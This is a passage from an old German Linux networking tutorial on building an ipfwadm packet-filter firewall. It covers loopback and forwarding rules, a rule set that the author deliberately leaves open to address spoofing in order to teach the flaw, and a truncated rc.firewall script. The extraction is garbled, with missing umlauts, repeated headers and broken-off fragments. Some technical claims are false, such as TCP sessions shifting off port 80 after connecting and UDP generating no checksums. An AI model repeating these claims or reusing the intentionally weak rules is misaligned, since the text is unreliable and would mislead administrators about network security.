Der Fernwartung ist ein eigenes Kapitel gewidmet, da das Thema nicht ganz trivial ist.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Leider ist noch keine Angabe darber gemacht, zwischen welchen der Netzwerkkarten forwarding verboten ist, noch darber, an welchen Interfaces der Kernel die ein- und ausgehenden Pakete ablehnen soll. Per Definition wendet er diese Regeln auf alle Interfaces an, auer - man informiert den Kernel darber, auf welches Interface sich das Kommando genau bezieht. Hierzu gibt es die Option -w Hierzu aber spter mehr. Mit dem Forwarding hat es noch eine besondere Bewandtnis, dies ist wichtig fr das Verstndnis von UNIX allgemein und hat Auswirkungen auf die Sicherheit des Systems, wenn auch nur der kleinste Fehler gemacht wird. ipfwadm -F -p deny besagt, da alle Pakete zwischen allen Interfaces nicht weitergeleitet werden.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Hier sieht man, da alle Pakete unserer Ethernetkarte eth0 an die Netzwerkadresse 10.0.0.0 gebunden sind, mit einer Netmask 255.255.255.0. Dies bedeutet, da der Host nun mit 252 anderen Hosts verbunden werden kann, also von 10.0.0.2 bis 10.0.0.254. Die Nummer 10.0.0.255 ist per Definition als Broadcast Adresse (siehe oben) eingetragen. Das LOOPBACK Interface bindet sich an die interne Netzwerkadresse 127.0.0.0. Es hat also alles seine Ordnung. Im brigen besitzen auch Windows 95 und viele andere Betriebssysteme ein solches: Man
mu nur in der DOS-Shell einmal route -print, oder ipconfig oder netstat eintippen, es funktioniert ebenso. Sogar die Datei c:\\windows\etc hat unter Windows eine Funktion. Bestimmte IP - Nummern sind allerdings reserviert und drfen nicht ohne genaue Kenntnis vergeben werden: 224.0.0.0 fr Multicast, also Videobertragungen 10.0.0.0 und 192.168.0.0 fr eigene Netzwerke. Diese werden nicht in das Internet weitergeleitet. 255.255.255.255 fr allgemeine Broadcasts 127.0.0.0 fr LOOPBACK Nun zurck zum Paket forwarding Der Befehl: ipfwadm -F -p deny untersagt die Weiterleitung von Paketen zwischen allen Interfaces. Genaugenommen sind es nun drei Interfaces, eth0 der ersten Netzwerkkarte, eth1 der zweiten Netzwerkkarte und lo, dem Loopback Interface. Eventuell kommt noch eine ISDN-Karte hinzu, diese belegt das Interface ippp0 fr ISDN Kanal 1, oder ippp1, fr den 2. ISDN-Kanal. Das wren 5 Interfaces. Nun, der Name UNIX kommt nicht von irgendwo, er leitet sich aus UNICS ab, einem UNIversal Computer System. Spter wurden nur CS zu X verschmolzen. Linus Torwalds ist genau auf demselben Wege zu dem Namen LINUX gekommen ;-) Nun mu man sich entscheiden, und diesen Interfaces eine IP - Nummer zuweisen. Damit nicht alle Befehle immer wieder eingegeben werden mssen, schreiben wir diese in eine Skript - Datei. Damit das Skript allgemeingltig ist, werden ab hier Namen statt IP - Nummern eingefhrt. Diese bezeichnen Variablennamen fr die Abarbeitung in der BASH, der Standard Shell unter Linux. IP - Nummern sind schwer zu merken, und irgendwann hat man keinen Durchblick mehr, welche IP Nummer und Netzwerknummer welchem Interface zugeordnet ist. Der Befehl set zeigt alle Variablen an. Der Befehl variable=wert weist einer Umgebungsvariablen einen Wert zu. Der Befehl echo echo ${variable} gibt den Wert der Variablen aus. Somit kann man gleich 3 Fliegen mit einer Klappe schlagen. Erstens kann man die Variablenzuweisungen zu Anfang in eine Datei schreiben, zweitens knnen wir den Code lesbar und verstndlich gestalten, und drittens kann man nun ein allgemeingltiges Skript schreiben, in welches dann nur noch am Anfang die richtigen Netzwerk und IP - Adressen eingetragen werden mssen. Im folgenden Beispiel wird festgelegt, da alle Dmonen oder Programme auf der Firewall auf das loopback interface zugreifen knnen. Das ist insbesondere dann notwendig, wenn man z.B. mit Netscape auf den WWW-Server zugreifen knnen mchte. # Das loopback Interface ipfwadm -I -a accept -W $LOOPBACK ipfwadm -O -a accept -W $LOOPBACK Dies bedeutet, da nur die Dmonen und Programme auf der Firewall selber untereinander kommunizieren knnen. Der Verbindungsaufbau ber die Netzwerkkarten drfte (noch) nicht funktionieren. Das -a besagt, da eine Regel zu den bestehenden Regeln hinzugefgt (angehangen) wird (append). Das -W (wichtig: groes W) bezeichnet das Interface. $LOOPBACK_INTERFACE ist der Wert der Variablen LOOPBACK_INTERFACE, dem wir spter noch 127.0.0.1 zuweisen mssen. Die beiden Zeilen bedeuten also, da von allen Interfaces der Verkehr vom und zum loopback Interface erlaubt ist. Nun ist noch ein kleines Problem zu lsen: Wird ein Programm oder Dmon auf dem Host gestartet, ber welches Interface ist dieser ansprechbar, und ber welches Interface sendet er irgendwelche Pakete ? Die Frage ist eindeutig zu beantworten, wenn man sich die Ausgabe von "netstat -a" anschaut: Proto Recv-Q Send-Q Local Address tcp 1 0 tunix.intra.net:www tcp 0 0 www.intra.net:1365 tcp 0 0 *:6000 Foreign Address www.intra.net:1365 tunix.intranet:www *:* State ESTABLISHED ESTBLISHED LISTEN
0 0 0 0 0 0
0 0 0 0 0 0
Man sieht, da von tunix.intra.net eine WWW-Verbindung zu www.intra.net und umgekehrt besteht (ESTABLISHED). Diese Verbindung liegt auf Port 1365. Wie kann das, wo doch allgemein bekannt ist, da eine WWW-Verbindung auf Port 80 erreichbar ist ? Nun, die Antwort ist etwas komplizierter. Selbstverstndlich wird zuerst eine Verbindung auf Port 80 geffnet. Wrden aber beide Partner nun ber diesen Port weiter kommunizieren, so knnte weder eine zweite Verbindung zwischen den beiden aufgebaut werden, noch knnte ein dritter Host auf den Port 80 einer der beiden Hosts zugreifen. Genaugenommen wird aus IP - Nummer und Portnummer ein sogenannter HASH Wert fr jede TCP/IP Verbindung errechnet, an denen sich die Kommunikationspartner wiedererkennen, auch wenn z.B. ein WWW-Server viele tausend simultane Kommunikationspartner gleichzeitig abzuarbeiten hat. Damit z.B. der Server weiterhin noch fr andere Hosts erreichbar ist, verabreden sich Server und Client, nachdem sie sich kontaktiert haben, die weitere Datenbertragung ber freie, nicht privilegierte Ports abzuwickeln. Dies sind alle Ports ber 1024, nach der Definition der alten BSD UNIX Systeme. Somit wre der Port 80 wieder frei fr neue Anfragen. Man sieht auch einige offene Ports...pop3 LISTEN ? Das bedeutet, da der POP3 Dmon lauscht, nur an welchem Interface ? Das entscheidet sich beim Start eines Dmons. Ohne Parameter aufgerufen, bindet er sich an alle Interfaces, die ihm angeboten werden, vorrangig natrlich an das LOOPBACK Interface. Man kann jedem Dmon aber auch genau das Interface angeben, an welches er sich binden soll. Leider haben manche Programmierer von Dmonen vergessen, eine solche Option einzuprogrammieren, soda man nicht angeben kann, an welches Interface sich der Dmon bindet. Bei guten Programmen, wie Apache WWW-Server, SAMBA, FTP ....kann man dies genau festlegen. Die Optionen findet man in den Konfigurationsdateien oder man bergibt beim Start des Dmons einen Parameter (Siehe /etc/inetd.conf). Startet man Interfaces, wenn schon Dmonen laufen, dann binden sich diese nachtrglich automatisch an das neue Interface. Mu ein Dmon viele Interfaces nach Paketen fr ihn berwachen, so verringert sich seine Performance. Dramatische Sicherheitslcken haben sich dadurch bei Installation von Firewalls unter NT und auch UNIX ergeben. Hier war z.B. das Fernwartungs - Interface des Microsoft Firewall - PROXY 1.0/2.0 von auen her erreichbar. Eine winzige Kleinigkeit hat somit die Funktion der Firewall vllig ad absurdum gefhrt. Leider passieren solche Fehler sehr hufig. Der Hauptgrund liegt wohl darin, da man als Systemadministrator bei bestimmten Betriebssystemen wohl schon froh ist, wenn alles berhaupt luft....weitere Untersuchungen mit einer Klrung, warum nun z.B. Windows NT 4.0 SP4 Pakete in andere Netze streut (ISDN Karte, RAS) werden oft nicht angestellt.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
antworten. Also akzeptiert das Gateway nur dann die Daten zur Weiterleitung, wenn die Zieladresse nicht im Intranet liegt. Zusammenfassend kann man also sagen, da ein Gateway darber entscheidet, ob Pakete im Netzwerkstrang bleiben, oder ob diese in andere Netzwerke weitergeleitet werden. Bisher wurde der Firewall aber nur mitgeteilt, da sie Pakete, deren Quell Adresse im Intranet liegt, zu akzeptieren hat. Sie wrde also das Paket von INTRA1 akzeptieren, sofern die Zieladresse nicht auch im Intranet liegt. Danach gibt es keine Regel mehr, die der Firewall sagen knnte, was mit dem Paket geschehen soll. Wir erinnern uns - Die Weiterleitung von Paketen, also das forwarding wurde mit ipfwadm -F -p deny, der default policy untersagt. Pakete aus dem Intranet sollen aber auch an das externe Interface der Firewall weitergeleitet werden. hierzu mssen wir eine weitere Regel hinzufgen. # Erlaube Internet - Datenaustausch ipfwadm -O -a accept -W $EXTERNES_INTERFACE -S $INTRA1 Etwas verwirrend mag die Reihenfolge der Regeln erscheinen. Zuerst werden alle Pakete abgelehnt, um diese dann durch eine nachfolgende Regel wieder zuzulassen. Hierzu mu man nur eines wissen. Firewalls arbeiten alle Regeln immer nur bis zu einem Match (zutreffende Regel) ab. Findet sich in der Reihe zuerst eine Regel, die die Weiterleitung zult, so wird weitergeleitet. Wenn die Regel keine Weiterleitung zult, dann wird das Paket verworfen und die folgenden Regeln nicht weiter abgearbeitet. Trifft keine der Regeln zu, dann wird es interessant. Der Kernel fhrt dann diejenige Regel aus, die der Policy entspricht. Steht die Policy auf allow, dann wird das Paket weitergeleitet, steht die Policy auf deny, dann wird das Paket verworfen. Also Achtung beim Hinzufgen oder Lschen von Regeln, wenn die default policy nicht auf deny steht. Das setzen der Policy auf deny sollte also unbedingt und unter allen Umstnden zu allererst in den Firewallregeln erfolgen. Diese mssen sogar zu allererst gesetzt werden. Nun erlauben wir den Zugriff eines Hosts mit der IP - Nummer INTRA1 aus dem INTRANET auf die uere Netzwerkkarte, EXTERNES_INTERFACE. Was bedeutet nun dieses ? Ein Host aus dem Intranet mit INTRA1 bezeichnet darf Pakete an LOKALES_INTERFACE, also der inneren Netzwerkkarte senden. Soweit verstndlich. Der Firewall wurde erlaubt, an dem Interface LOKALES_INTERFACE Pakete anzunehmen, die fr das Internet bestimmt sind. Soweit auch verstndlich. Nun wird zugelassen, da die Firewall diese angenommenen Pakete aus dem Intranet an das uere Interface EXTERNES_INTERFACE sendet. Die Syntax lautet: Erlaube eingehende und ausgehende Pakete mit dem Ziel EXTERNES_INTERFACE, und das fr Pakete, die aus dem Intranet kommen. Die Firewall durfte stets Pakete aus dem Intranet annehmen, nun ist es der Firewall erlaubt, diese Pakete an die uere Netzwerkkarte zu senden. Wie verhalten sich die Dmonen ? Diese hatten sich ja an alle Netzwerkkarten gebunden !? Sie sehen die Pakete vorbei huschen, fhlen sich aber nicht angesprochen, da die Zieladresse im Kopf des Paketes von dem Host aus dem Intranet ja fr das Internet bestimmt ist, und nicht fr den Dmon selber. Also kein echtes Problem. Welche Auswirkungen hat dies auf das forwarding ? #Forwarding von Paketen von LOKALES_INTERFACE an EXTERNES_INTERFACE ipfwadm -F -a -W $EXTERNES_INTERFACE -S $INTRANET Es wird der Firewall erlaubt, Pakete mit Quelladresse INTRANET "-S" an das Interface
EXTERNES_INTERFACE, also dem ueren Interface, weiterzuleiten. Oops, etwas verwirrend..... Schauen wir uns die Regeln noch einmal in der Zusammenfassung an: # Default Policy 1 ipfwadm -I -p deny 2 ipfwadm -O -p deny 3 ipfwadm -F -p deny # Das loopback Interface 4 ipfwadm -I -a accept -W $LOOPBACK 5 ipfwadm -O -a accept -W $LOOPBACK # Erlaube ein- und ausgehenden Verkehr 6 ipfwadm -I -a accept -W $LOKALES_INTERFACE -S $INTRANET 7 ipfwadm -O -a accept -W $LOKALES_INTERFACE -D $INTRANET # Erlaube Internet - Datenaustausch mit einem Host aus dem Intranet 8 ipfwadm -O -a accept -W $EXTERNES_INTERFACE -S $INTRANET 9 ipfwadm -I -a accept -W $EXTERNES_INTERFACE -S $INTRANET # Forwarding von Paketen von LOKALES_INTERFACE an EXTERNES_INTERFACE 10 ipfwadm -F -a -W $EXTERNES_INTERFACE -S $INTRANET In Regel 6 und 7 finden sich weitere Parameter. Der Parameter -S in Regel 6 besagt, da die Pakete mit Quelladresse (-S = Source) aus dem Intranet auf das LOOPBACK INTERFACE zugreifen drfen. In Regel 7 ist der Parameter -D dafr da, um die Zieladresse (-D = Destination) zu bestimmen. Normalerweise mte man immer genau angeben, von wo und nach wo. Wenn aber einer der Parameter -S oder -D weggelassen wird, dann ist in Gedanken immer ein -S 0/0 oder ein -D 0/0 hinzuzufgen. Alternativ kann man auch 0.0.0.0 statt 0/0 schreiben. Dies ist der Ersatz fr: von berall oder nach berall. Die Regel 6 mte also genau heien: 6 ipfwadm -I -a accept -W $LOKALES_INTERFACE -S $INTRANET -D 0.0.0.0 oder 6 ipfwadm -I -a accept -W $LOKALES_INTERFACE -S $INTRANET -D 0/0 Alle drei Schreibweisen sind identisch.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
9.8 SPOOFING !
Es ist nun alles verboten, was nicht ausdrcklich erlaubt ist. Der Host mit der IP - Nummer INTRA1 kann also sicher surfen. Achtung, von Sicherheit kann hier noch nicht die Rede sein ! Was ist, wenn ein Host mit einer IP-Adresse aus dem Intranet (INTRANET) von auerhalb Pakete an EXTERNES_INTERFACE sendet ? Hierzu mu man sich das Regelwerk noch einmal anschauen........die Regel 8: ipfwadm -O -a accept -W $EXTERNES_INTERFACE -S $INTRANET Diese Regel hatten wir eingefhrt, damit die Pakete aus dem Intranet aus dem externen Interface in das Internet gelangen knnen. Angreifer aus dem Internet werden ja von der default policy abgelehnt, da ja keine der Regeln auf dieses Paket zutreffen wrde. Allerdings gibt es eine Ausnahme: Pakete, die als Quelladresse eine IP - Nummer aus dem Intranet besitzen, werden von dem externen Interface akzeptiert und weitergeleitet. Diese Pakete sind gespoofte Pakete, die Cracker synthetisch erzeugen. Hierzu mssen Sie routingtechnisch nher an die Firewall heran, um ihren Angriff zu starten. Diese Mglichkeit, gespoofte Pakete in das Intranet senden zu knnen widerspricht vllig der default policy. Diese besagt, da alles verboten ist, was nicht ausdrcklich erlaubt ist ! Demnach darf das Netzwerkinterface EXTERNES_INTERFACE entsprechend der Regel 9 keine Pakete annehmen, sondern nur aussenden. Also gibt es kein Problem ? Hier ist es: Regel 10 besagt, da das externe Netzwerkinterface, EXTERNES_INTERFACE aber dann Pakete forwarden, also weiterleiten darf, wenn diese aus dem Intranet stammen, also auch wenn diese von INTRA1 stammen. Weiterleitung von EXTERNES_INTERFACE bedeutet, da das Paket zwar nicht nach der Regel 9 , aber entsprechend der Regel 10 Zugang zu der Firewall findet. Hat es Zugang gefunden, dann befindet sich dieses Paket innerhalb der Firewall und kann auch wieder entsprechend der Regel 9 die Firewall verlassen. Nun hngt es davon ab, welche Zieladresse das Paket besitzt. Ist die Zieladrese die Firewall selber, so kann ein Angreifer auf Dmonen der Firewall zugreifen, da diese sich ja an alle Interfaces gebunden haben. Die letzen drei Regeln erlauben es einem Angreifer, mit Paketen, deren Quelladresse im Intranet liegt, und deren Zieladresse die Firewall selber ist, von auen auf die Dmonen der Firewall zuzugreifen. Dieses Vortuschen nennt man address spoofing. Entsprechend der Regel 7 knnte der Angreifer direkt seine Pakete an einen Host in dem Intranet adressieren und somit auf einen Server hinter der Firewall zugreifen. Oops ! Das war so nun wirklich nicht beabsichtigt. Wie ist das Dilemma zu beseitigen ? ?
Kein Problem - Es gibt anti spoofing Regeln, die genau aufpassen, ob es interne oder externe IP Nummern sind, die an dem internen oder externen Interface ankommen: # anti spoofing ipfwadm -I -a deny -o -W $EXTERNES_INTERFACE -S $INTRANET ipfwadm -O -a deny -o -W $EXTERNES_INTERFACE -D $INTRANET Die fgen wir nun (flschlicherweise) an das Regelwerk an ! Es werden nun alle Pakete abgelehnt, deren Quelladresse ein Host im INTRANET ist, und der ber das externe Interface, EXTERNES_INTERFACE sich Zugriff verschaffen will. Ein - und ausgehender Verkehr mit falschen Absendern an das externe Interface wird geblockt. Zustzlich ist eine Option -o eingefgt, die einfach nur besagt, da Verste gegen die Firewallregel an den SYSLOGD gemeldet werden, der diese in die Datei /var/log/messages schreibt. Wer mchte, da die Fehlermeldungen an einen weiteren LOGSERVER weitergeleitet werden, der mge sich mit Hilfe von man syslogd ber die Syntax der Konfiguration des SYSLOGD informieren. Wer nmlich den SYSLOGD mit der Option -r aufruft, der mu damit rechnen, da der SYSLOGD sich nicht nur an das LOOPBACK Interface bindet, sondern auch an die Netzwerkkarte, um von anderen Servern Logmeldungen entgegenzunehmen. Fr eine Firewall tdlich ! Zur Auswertung mehrerer Firewalls sei der LOGSurfer von Wolfgang Ley, ehemals DFN-CERT, heute SecureNet, Hambung empfohlen. Ein sehr mchtiges, und zur berwachung von Netzwerken auch vllig ausreichendes Werkzeug. Es wird hierfr auch kommerzieller Support angeboten. Als Alternative verbleibt nur noch der NFR (Network Flight Recorder) von NAI.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
DNS Server mit TCP arbeitet. Andere Hersteller haben komplexe Proxys eingefhrt, die die Datenpakete zur Sicherheit filtern, das generelle Problem mit UDP bleibt aber bestehen. Noch einfacher ist es, in der Datei /etc/services die Zeile: domain 53/udp nameserver
zu entfernen. Damit kann der DNS - Server das UDP Protokoll nicht mehr verwenden. (Leider machen nicht alle DNS Server dieses Spiel mit) Fassen wir einmal die Unterschiede zwischen TCP und UDP zusammen: TCP Pakete q SYN Bit bei Verbindungsaufbau q Nach dem Verbindungsaufbau werden Port > 1024 verwendet (BSD-Konvention) q Der Kernel kennt alle angeforderten Pakete q ACK Bit bei allen anderen Paketen gesetzt q SYN+ACK Bit wird abgelehnt q Prfsummen werden vom Kernel generiert q Verlorene Pakete werden vom Kernel neu angefordert q TCP besitzt einen groen Overhead q Protokolle, wie FTP bentigen eine besondere Behandlung (PASV) UDP Pakete q UDP besitzt kein SYN oder ACK Bit q Nach dem Verbindungsaufbau werden dieselben Ports verwendet q Der Kernel mu UDP Pakete ins Intranet freigegeben haben q Es werden keine Prfsummen generiert q Verlorene Pakete sind verloren q UDP ist effizient q Viele Protokolle verwenden TCP und UDP Die Nachteile bei der Sicherheit von UDP mssen teilweise von den Anwendungsprogrammen abgefangen werden. Hierzu gehren: q Generierung von Prfsummen q Evtl. Neuanforderung von verlorenen Paketen q Absprache ber verwendete Ports > 1024 q Eingrenzung von verwendeten Ports q Verknpfung von TCP und UDP Paketen (DNS, NFS....) Welche Auswirkungen hat dies auf die Firewallregeln ? Zuerst mu festgestellt werden, wie die Firewall mit UDP Paketen umgeht. Hierzu kann man entweder einige Tests durchfhren, oder - den Quellcode anschauen. Wir mchten z.B. wissen, ob auf der Firewall generell alle UDP Pakete aus dem
Internet freigegeben werden mssen, oder ob die Firewall genau wei, wann ein Paket gesendet wurde, und ob ein Datenstrom auf genau diesem Port zurck erwartet wird. UDP Pakete von anderen Hosts mit anderen Ports sollte sie ablehnen knnen. Im Gegensatz zu normalem Paketfiltering beherrscht natrlich LINUX das dynamische Paketfiltering. LINUX fhrt stets sowohl fr TCP und UDP Tabellen, in denen vermerkt wird, ob ein Paket aus dem Internet angefordert wurde, welche IP - Nummern beteiligt sind, und welche Ports diese Benutzen. Ein Angreifer htte dann wohl kaum Chancen, von auerhalb irgendeinen Server hinter der Firewall zu erreichen zu knnen. Wie ist es denn mit Spoofing ? Gespoofte TCP Pakete werden erkannt und abgelehnt, wie ist das mit UDP Paketen ? Nun, der Test auf gespoofte Pakete wird auf der IP Ebene vorgenommen. Da TCP und UDP auf IP Ebene aufsetzen, existiert also auch hier Schutz vor spoofing. Wo liegen also die angeblichen Gefahren von UDP ? Nun, um die Gefahren genau abschtzen zu knnen, mu man bei der Installation der Firewall genau wissen, ob ein Angreifer in den Datenstrom, der aus dem Internet ber die Firewall zu einem Host strmt, evtl. eigene Pakete einschleusen kann. Das hngt dann davon ab, welche Auswirkungen auf das Client Programm dies htte. Wie kann er zustzliche Pakete einschleusen ? Kennt der Angreifer Portnummern und IP Nummern der beteiligten Partner, so kann er Portnummer und IP Nummer spoofen, und diese Pakete an die Firewall senden. Diese wrde die Pakete akzeptieren, und an den Host im Netzwerk weiterleiten. Die Firewall verhindert doch spoofing ! Wie kann das sein ? Die Firewall kann nur innere von ueren Adressen unterscheiden, d.h. wenn ein Paket mit der IP - Nummer aus dem Intranet direkt auf das uere Gateway trifft, dann ist offensichtlich etwas falsch und des wird geblockt. Die Firewall kann aber nicht feststellen, ob Pakete aus dem Internet alle authentisch sind, also ein Paket auch tatschlich von dem angegebenen Host stammt. Wir halten fest: UDP ist nur dann unsichererer als TCP, wenn: q Client und Ziel keine UDP Prfsummen erstellen q Spoofing im Internet bzw. auerhalb der Firewall mglich ist q Ein Angreifer auf dem Zielhost direkt Daten manipulieren kann Wie knnte also ein Angreifer mit UDP Unheil stiften ? Ein solcher Angriff ist komplexer, als man denkt, aber einfach zu zeigen. Wer mit einem lteren Netscape oder IE Browser animierte GIF Bilder betrachtet, der wird bemerken, da hier GIF Bilder schnell hintereinander angezeigt werden. Problematisch wird dies erst dann, wenn das Format der Bilder pltzlich grer wird. Der intern vom Browser reservierte Speicherplatz fr die Animation reicht dann pltzlich nicht mehr aus. Ist das Bild gengend gro, werden eventuell wichtige Bereiche im RAM der Arbeitsstation berschrieben. Ein sogenannter schwerer Ausnahmefehler (wo da die Ausnahme ist, wei wahrscheinlich Microsoft selber nicht) tritt auf. In den meisten Fllen ist dieses Problem mit einem Absturz verbunden. Wird jedoch die Bytefolge im GIF Bild so gewhlt, da sich ein sinnvolles Programm dahinter verstecken kann, dann kann der Angreifer hierber auf der Arbeitsstation beliebige Programme starten. Diesen Effekt nennt man buffer overflow und ist im Prinzip bei allen Protokollen, TCP sowie UDP mglich. Hier wurde der Effekt anhand einer GIF Animation aufgezeigt, dieser Effekt kann aber auch bei (REAL)VIDEO Sequenzen, DNS Paketen, NFS oder RPC Paketen o.. auftreten. Gelingt es einem Angreifer also, in einen UDP Datenstrom mit gespooften Paketen eigene Daten
einzuschleusen, dann kann er viel Unheil anstiften. Aus diesem Grunde ist bei RPC, NFS, DNS Datenpaketen immer groe Vorsicht angebracht. Ohne spezialisierte PROXYs sollte man diese Pakete von einer Firewall tunlichst nicht transportieren lassen.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Hier kann man die Portnummern ablesen, die auf der Firewall kontrolliert werden mssen.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
privilegierten Ports kein Versto gegen die BSD - Konventionen. Windows NT im besonderen erlaubt durch gezielte Manipulationen in der Registry eine Begrenzung von Ports auf einen bestimmten Bereich. Dies ist immer dann sinnvoll, wenn sich Bereiche hufig benutzter Ports einiger Dienste berschneiden. Einem Client Zugriff auf einen Server hinter einer Firewall zu geben, kann wegen mglichen buffer overflows tdlich sein. Wenn also eine solche Konstruktion erwogen wird, dann ist immer eine zweite Firewall mit einzuplanen, die eine weiteres Hindernis fr einen Angreifer ist. Betrachtet man nun den Zugriff aus dem Intranet auf Server im Internet: # Erlaube WWW ipfwadm -I -a accept -P tcp -k -W $EXTERNES_INTERFACE \ -S $ANYWHERE 80 -D $INTRANET $UNPRIVPORTS Es wird hier ein besonderes Zeichen \ verwendet, auch META Zeichen oder Fluchtsymbol genannt. Es soll dafr sorgen, da das direkt darauffolgende ASCII Zeichen ignoriert wird. Welches ? Das ist bei Editoren meist nicht sichtbar - Es ist das RETURN oder NEWLINE Zeichen. Hiermit werden lange Zeilen umgebrochen, ohne da die Shell bei der Abarbeitung der Regeln in Schwierigkeiten mit der Interpretation der Zeichen gert. Es wird hier das Senden eines TCP Paketes aus dem Internet von Port 80 den Zugriff auf einen Client innerhalb unseres Netzwerkes zugelassen, der Ports oberhalb von 1024 benutzt, z.B. Netscape. Das "-k" hat eine sehr wichtige Bedeutung. Es bedeutet, da alle Pakete das ACK Bit gesetzt haben mssen, andern falls werden diese abgewiesen. Nochmals zur Erinnerung: Beim Verbindungsaufbau mit SYN-Bit, danach werden alle Pakete nur noch mit gesetztem ACK Bit ausgetauscht. Im Grunde bedeutet dies, da zwar Pakete aus dem Internet in unser Intranet akzeptiert werden, aber keinen Verbindungsaufbau aus dem Internet zu einem der Hosts im Intranet mglich ist. Eine genaue Liste von Protokollen, Ports und Regeln findet sich im Anhang ber Firewallregeln Pakete mit ACK Bit werden also nur dann akzeptiert, wenn ein SYN Paket aus dem Intranet zu dem Host im Internet bertragen wurde. Die Firewall merkt sich diese Adresse und erlaubt dann den Partnern, weiterhin Pakete untereinander auszutauschen. Kurz gesagt, die Firewall ffnet die Ports nur dann, wenn jemand aus dem Intranet surfen mchte. Genau das war das Ziel. Nun werden noch Regeln fr Browser hinzugefgt: # Erlaube HTTPS und PROXY ipfwadm -I -a accept -P tcp -k -W $EXTERNES_INTERFACE \ -S $ANYWHERE 443 8080 3128\ -D $INTRANET $UNPRIVPORTS Hier wird die bertragung von Ports 443 und 8080 aus dem Internet zu einem Client im Intranet zugelassen. Auch hier mu die Verbindung von innen initiiert worden sein. (-k) Die Schreibweise ist nun so, da mehrere Ports hintereinander angeben werden knnen, das IPFWADM Toolkit interpretiert dieses korrekt. Ports 443 werden fr die sichere bertragung von Daten ber das Internet verwendet (Der Schlssel links unten im Browser schliet sich), was aber nicht bedeutet, da die Daten, z.B. Kreditkartennummern am Zielort auch sicher aufgehoben sind. Port 8080 und 3128 sind gebruchliche Ports fr HTTP-PROXY-CACHES, die viele Seiten aus dem Internet zwischen gespeichert haben, und somit fr eine beschleunigte bertragung sorgen. Wer z.B. mit ISDN surft, sollte nur ber Profis surfen. Es verhindert Angriffe auf den TCP/IP Stack von Microsoft Betriebssystemen. Auerdem geht es schneller und der Provider spart Kosten ein. Bei der Angabe des Proxies im Browser sollte man es einmal mit proxy.provider.de, auf den beiden oben erwhnten Ports versuchen. Wir haben nun einige Ports betrachtet. UNIX verfgt aber ber ein unglaubliche Zahl von Diensten, soda man wirklich alle abschalten sollte, von denen man nicht definitiv wei, ob sie bei falscher Konfiguration ein Sicherheitsproblem darstellen. Allgemein sollte man sich an der UNIX Computer Security Checklist von AUSCERT oder dem DFN-Verein in Hamburg
orientieren. Diese ist zwar etwas veraltet, das ist aber UNIX auch im Prinzip, auch wenn einige Benutzeroberflchen sehr modern aussehen. Das Grundprinzip bei UNIX ist seit den 70er Jahren nicht mehr verndert worden. Eine groe Hilfe ist das Grundschutzhandbuch des BSI (http://www.bsi.bund.de) sein. Um jedoch eine sichere Firewall aufzubauen, sei jedermann/frau dringenst geraten, so konservativ, wie mglich mit der Freigabe von Ports auf der Firewall zu verfahren. Dasselbe gilt insbesondere fr Dienste auf der Firewall selber. In der Vergangenheit haben unzhlige Einbrche ber Dmonen, wie z.B. sendmail, pop3, http...gezeigt, da ein Angreifer ber trojanische Pferde auf den Arbeitsstationen auch die Firewall selber angreifen kann.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
#Class-C Netzwerk
DHCP_SERVER="dhcp.intra.net/16" SMTP_SERVER="smtp.intra.net" POP_SERVER="pop.intra.net" NEWS_SERVER="news.intra.net" WEB_PROXY_SERVER="www.intra.net" # Die IP Adresse, $IPADDR, wird von DHCP vergeben if [ -f /etc/dhcpc/hostinfo-$EXTERNES_INTERFACE ]; then . /etc/dhcpc/hostinfo-$EXTERNES_INTERFACE elif [ -f /etc/dhcpc/dhcpcd-$EXTERNES_INTERFACE.info ]; then . /etc/dhcpc/dhcpcd-$EXTERNES_INTERFACE.info else echo "rc.firewall: dhcp is not configured." exit 1 fi # # # # nameservers are originally from /etc/dhcpc/resolv.conf. The example ifdhcpc-done Skript updates these automatically and appends them to /etc/dhcpc/hostinfo-$EXTERNES_INTERFACE or /etc/dhcpc/dhcpcd-$EXTERNES_INTERFACE.info.
# Edit and uncomment these if NOT using the example ifdhcpc-done Skript.
NAMESERVER_1="ns1.domain.de" NAMESERVER_2="ns2.domain.de" NAMESERVER_3="ns3.domain.de" # ---------------------------------------------------------------------------LOOPBACK_INTERFACE="lo" LOOPBACK="127.0.0.0/8" INTRANET="10.0.0.0/8" PRIVPORTS="0:1023" UNPRIVPORTS="1024:65535" VERBOTEN_PORTS="2049" VERBOTEN_OPENWINDOWS="2000" VERBOTEN_XWINDOWS="6000:6001" SSH_PORTS="1020:1023" # Lsche alle Filter ipfwadm -I -f ipfwadm -O -f ipfwadm -F -f # Default policy is DENY ipfwadm -I -p deny ipfwadm -O -p deny ipfwadm -F -p deny
# # # #
(TCP/UDP) NFS (TCP) openwindows (TCP) X windows range for SSH privileged ports
# Anti spoofing Regeln ipfwadm -I -a deny -o -W $EXTERNES_INTERFACE -S $IPADDR ipfwadm -O -a reject -o -W $EXTERNES_INTERFACE -D $IPADDR # Keine Adressen aus dem Intranet drfen in das Externe Interface ipfwadm -I -a deny -W $EXTERNES_INTERFACE -S $INTRANET ipfwadm -I -a deny -W $EXTERNES_INTERFACE -D $INTRANET ipfwadm -O -a reject -W $EXTERNES_INTERFACE -S $INTRANET ipfwadm -O -a reject -W $EXTERNES_INTERFACE -D $INTRANET # Keine Adressen aus dem Intranet drfen in das LOOPBACK Interface ipfwadm -I -a deny -o -W $EXTERNES_INTERFACE -S $LOOPBACK ipfwadm -I -a deny -o -W $EXTERNES_INTERFACE -D $LOOPBACK ipfwadm -O -a reject -o -W $EXTERNES_INTERFACE -S $LOOPBACK ipfwadm -O -a reject -o -W $EXTERNES_INTERFACE -D $LOOPBACK # Keine Broadcasts ipfwadm -I -a deny ipfwadm -I -a deny
